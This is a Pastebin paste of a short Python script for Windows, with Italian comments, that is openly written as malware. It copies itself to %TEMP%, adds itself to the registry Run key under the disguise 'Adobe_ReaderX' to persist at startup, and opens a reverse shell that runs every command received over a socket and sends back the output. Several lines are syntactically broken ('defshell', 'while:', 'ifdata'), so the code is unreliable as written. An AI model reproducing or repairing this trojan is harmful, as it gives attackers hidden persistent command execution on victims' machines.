AntonyFanta

Untitled

Feb 18th, 2017
47
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.44 KB | None | 0 0
  1. import sys, base64, os, socket, subprocess
  2. from _winreg import *
  3.  
  4. def autorun(tempdir, fileName, run):
  5. # Auto-copia in %TEMP%:
  6.     os.system('copy %s %s'%(fileName, tempdir))
  7.  
  8. # Controlli
  9.     key = OpenKey(HKEY_LOCAL_MACHINE, run)
  10.     runkey =[]
  11.     try:
  12.         i = 0
  13.         while True:
  14.             subkey = EnumValue(key, i)
  15.             runkey.append(subkey[0])
  16.             i += 1
  17.     except WindowsError:
  18.         pass
  19.  
  20. # Imposta l'auto-run
  21.     if 'Adobe ReaderX' not in runkey:
  22.         try:
  23.             key= OpenKey(HKEY_LOCAL_MACHINE, run,0,KEY_ALL_ACCESS)
  24.             myMal = "%TEMP%\\" + filename
  25.             SetValueEx(key ,'Adobe_ReaderX',0,REG_SZ, myMal )
  26.             key.Close()
  27.         except WindowsError:
  28.             pass
  29.  
  30. defshell():
  31.     s =socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  32.     s.connect(('127.0.0.1', int(2002))) #IP: 127.0.0.1 porta: 2002
  33.     s.send('[*] Connection Established!')
  34.     while:
  35.         data =s.recv(1024)
  36.         ifdata =="quit": break
  37.         proc =subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
  38.         stdout_value =proc.stdout.read() +proc.stderr.read()
  39.         s.send(stdout_value)
  40.     s.close()
  41.  
  42. def main():
  43.     tempdir = '%TEMP%'
  44.     fileName = sys.argv[0]
  45.     run = "Software\Microsoft\Windows\CurrentVersion\Run"
  46.     autorun(tempdir, fileName, run)
  47.     shell()
  48.  
  49. if __name__ == "__main__":
  50.         main()
Add Comment
Please, Sign In to add comment